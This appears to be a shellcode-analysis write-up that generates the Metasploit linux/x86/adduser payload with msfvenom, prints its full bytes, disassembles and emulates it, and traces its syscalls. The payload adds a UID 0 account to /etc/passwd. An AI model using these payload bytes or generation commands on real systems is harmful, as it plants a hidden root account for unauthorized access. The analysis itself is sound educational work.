First, let’s list the options the MSF payload expects as required parameters. As shown, it expects the PASS and USER parameter to be used.
MSF payload requirements
msfvenom --list-options -p linux/x86/adduser
Options for payload/linux/x86/adduser:
=========================
Name: Linux Add User
Module: payload/linux/x86/adduser
Platform: Linux
Arch: x86
Needs Admin: Yes
Total size: 97
Rank: Normal
Provided by:
skape <mmiller@hick.org>
vlad902 <vlad902@gmail.com>
spoonm <spoonm@no$email.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASS metasploit yes The password for this user
SHELL /bin/sh no The shell for this user
USER metasploit yes The username to create
Description:
Create a new user with UID 0
Next step is generating the shellcode with the required options:
Generating shellcode in C
msfvenom -p linux/x86/adduser --platform linux -a x86 user=hodor pass=hodorhodor -f c
No encoder or badchars specified, outputting raw payload
Payload size: 92 bytes
Final size of c file: 413 bytes
unsigned char buf[] =
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x23\x00\x00\x00\x68\x6f"
"\x64\x6f\x72\x3a\x41\x7a\x6d\x75\x5a\x72\x6f\x73\x42\x6a\x52"
"\x59\x55\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f"
"\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58"
"\xcd\x80";
Without newlines, the string is:
“\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x23\x00\x00\x00\x68\x6f\x64\x6f\x72\x3a\x41\x7a\x6d\x75\x5a\x72\x6f\x73\x42\x6a\x52\x59\x55\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80”
Creating binary file for later analysis
RAW
msfvenom -p linux/x86/adduser --platform linux -a x86 user=hodor pass=hodorhodor R -o msf_linx86_adduser_sample1.bin
No encoder or badchars specified, outputting raw payload
Payload size: 92 bytes
Saved as: msf_linx86_adduser_sample1.bin
C
$ echo -ne "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x23\x00\x00\x00\x68\x6f\x64\x6f\x72\x3a\x41\x7a\x6d\x75\x5a\x72\x6f\x73\x42\x6a\x52\x59\x55\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" > msf_linx86_adduser_sample1_alt.bin
Differences between raw output and generated C code
When generating shellcode with msfvenom, some NULL bytes are being generated. This breaks execution of shellcode when being used or run. Still, we try to analyze the msfvenom generated payload to get an idea of it’s actions taken.
Generating C binary from msfvenom C generated code
Using the template, we compile a C binary using the C generated code from msfvenom.
$ ../compile_c.sh msf_linx86_adduser_c_sample1_alt
[+] Compiling ...
[+] Done!
Analyzing with NDISASM
$ echo -ne "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x23\x00\x00\x00\x68\x6f\x64\x6f\x72\x3a\x41\x7a\x6d\x75\x5a\x72\x6f\x73\x42\x6a\x52\x59\x55\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -u -
00000000 31C9 xor ecx,ecx
00000002 89CB mov ebx,ecx
00000004 6A46 push byte +0x46
00000006 58 pop eax
00000007 CD80 int 0x80
00000009 6A05 push byte +0x5
0000000B 58 pop eax
0000000C 31C9 xor ecx,ecx
0000000E 51 push ecx
0000000F 6873737764 push dword 0x64777373
00000014 682F2F7061 push dword 0x61702f2f
00000019 682F657463 push dword 0x6374652f
0000001E 89E3 mov ebx,esp
00000020 41 inc ecx
00000021 B504 mov ch,0x4
00000023 CD80 int 0x80
00000025 93 xchg eax,ebx
00000026 E823000000 call dword 0x4e
0000002B 686F646F72 push dword 0x726f646f
00000030 3A417A cmp al,[ecx+0x7a]
00000033 6D insd
00000034 755A jnz 0x90
00000036 726F jc 0xa7
00000038 7342 jnc 0x7c
0000003A 6A52 push byte +0x52
0000003C 59 pop ecx
0000003D 55 push ebp
0000003E 3A30 cmp dh,[eax]
00000040 3A30 cmp dh,[eax]
00000042 3A3A cmp bh,[edx]
00000044 2F das
00000045 3A2F cmp ch,[edi]
00000047 62696E bound ebp,[ecx+0x6e]
0000004A 2F das
0000004B 7368 jnc 0xb5
0000004D 0A598B or bl,[ecx-0x75]
00000050 51 push ecx
00000051 FC cld
00000052 6A04 push byte +0x4
00000054 58 pop eax
00000055 CD80 int 0x80
00000057 6A01 push byte +0x1
00000059 58 pop eax
0000005A CD80 int 0x80
Analyzing with libemu
Attempting to analyze the generated shellcode it only gives debug states of registers and flags, but no pseudo-code is being generated for further analysis.
$ sctest -vvv -S -s 10000 -G libemu_msf_linx86_adduser_sample1_alt < msf_linx86_adduser_sample1_alt.bin
graph file libemu_msf_linx86_adduser_sample1_alt
verbose = 3
[emu 0x0x9be60a8 debug ] cpu state eip=0x00417000
[emu 0x0x9be60a8 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x9be60a8 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x9be60a8 debug ] Flags:
[emu 0x0x9be60a8 debug ] cpu state eip=0x00417000
[emu 0x0x9be60a8 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x9be60a8 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x9be60a8 debug ] Flags:
[emu 0x0x9be60a8 debug ] 31C9 xor ecx,ecx
[emu 0x0x9be60a8 debug ] cpu state eip=0x00417002
[emu 0x0x9be60a8 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x9be60a8 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x9be60a8 debug ] Flags: PF ZF
[emu 0x0x9be60a8 debug ] 89CB mov ebx,ecx
[emu 0x0x9be60a8 debug ] cpu state eip=0x00417004
[emu 0x0x9be60a8 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x9be60a8 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x9be60a8 debug ] Flags: PF ZF
[emu 0x0x9be60a8 debug ] 6A46 push byte 0x46
[emu 0x0x9be60a8 debug ] cpu state eip=0x00417006
[emu 0x0x9be60a8 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x9be60a8 debug ] esp=0x00416fca ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x9be60a8 debug ] Flags: PF ZF
[emu 0x0x9be60a8 debug ] 58 pop eax
[emu 0x0x9be60a8 debug ] cpu state eip=0x00417007
[emu 0x0x9be60a8 debug ] eax=0x00000046 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x9be60a8 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x9be60a8 debug ] Flags: PF ZF
[emu 0x0x9be60a8 debug ] CD80 int 0x80
stepcount 4
copying vertexes
optimizing graph
vertex 0x9c3c3e8
going forwards from 0x9c3c3e8
-> vertex 0x9c3e588
-> vertex 0x9c3e710
-> vertex 0x9c3e888
copying edges for 0x9c3e888
vertex 0x9c3ea88
going forwards from 0x9c3ea88
copying edges for 0x9c3ea88
[emu 0x0x9be60a8 debug ] cpu state eip=0x00417009
[emu 0x0x9be60a8 debug ] eax=0x00000046 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x9be60a8 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x9be60a8 debug ] Flags: PF ZF
Generating PNG file from DOT
When attempting to generate a PNG from the libemu DOT file, it remains empty. This is obvious, as there is no code generated to analyze.
$ dot libemu_msf_linx86_adduser_sample1_alt -Tpng -o msf_linx86_adduser_sample1_alt.png
$
Recompile shellcode in ASM
Using some awk magic, we can append the instructions to our ASM template.
$ ndisasm -u msf_linx86_adduser_sample1_alt.bin | awk '{print substr($0, index($0, $3))}'
xor ecx,ecx
mov ebx,ecx
push byte +0x46
pop eax
int 0x80
push byte +0x5
pop eax
xor ecx,ecx
push ecx
push dword 0x64777373
push dword 0x61702f2f
push dword 0x6374652f
mov ebx,esp
inc ecx
mov ch,0x4
int 0x80
xchg eax,ebx
call dword 0x4e
push dword 0x726f646f
cmp al,[ecx+0x7a]
insd
jnz 0x90
jc 0xa7
jnc 0x7c
push byte +0x52
pop ecx
push ebp
cmp dh,[eax]
cmp dh,[eax]
cmp bh,[edx]
das
cmp ch,[edi]
bound ebp,[ecx+0x6e]
das
jnc 0xb5
or bl,[ecx-0x75]
push ecx
cld
push byte +0x4
pop eax
int 0x80
push byte +0x1
pop eax
int 0x80
Append ASM template
$ cp asm_template.asm msf_linx86_adduser_asm_sample1-alt.asm
$ ndisasm -u msf_linx86_adduser_sample1_alt.bin | awk '{print substr($0, index($0, $3))}' >> msf_linx86_adduser_asm_sample1-alt.asm
Compiling ASM file
$ ../compile_asm.sh msf_linx86_adduser_asm_sample1-alt
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
Running the ASM binary
When running the binary, a SEGFAULT is generated. To analyse what’s going on, we’ll be using the tool strace to analyze it’s behaviour.
Clearly, we’re not having enough privileges to perform modifications. As we’ve learned from our radare2 analysis, the shellcode tries to append data to the /etc//passwd file for adding an account: normally only root is allowed to do so.
Basically, the following functions are performed:
– setreuid (set the real and effective UID)
– open (open the file “/etc//passwd” to append data)
– write (write the openend file)
– close (close the openend file)
– exit (exit program)
$ ./msf_linx86_adduser_asm_sample1-alt
Segmentation fault (core dumped)
$ strace ./msf_linx86_adduser_asm_sample1-alt
execve("./msf_linx86_adduser_asm_sample1-alt", ["./msf_linx86_adduser_asm_sample1"...], [/* 21 vars */]) = 0
setreuid(0, 0) = -1 EPERM (Operation not permitted)
open("/etc//passwd", O_WRONLY|O_APPEND) = -1 EACCES (Permission denied)
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault (core dumped)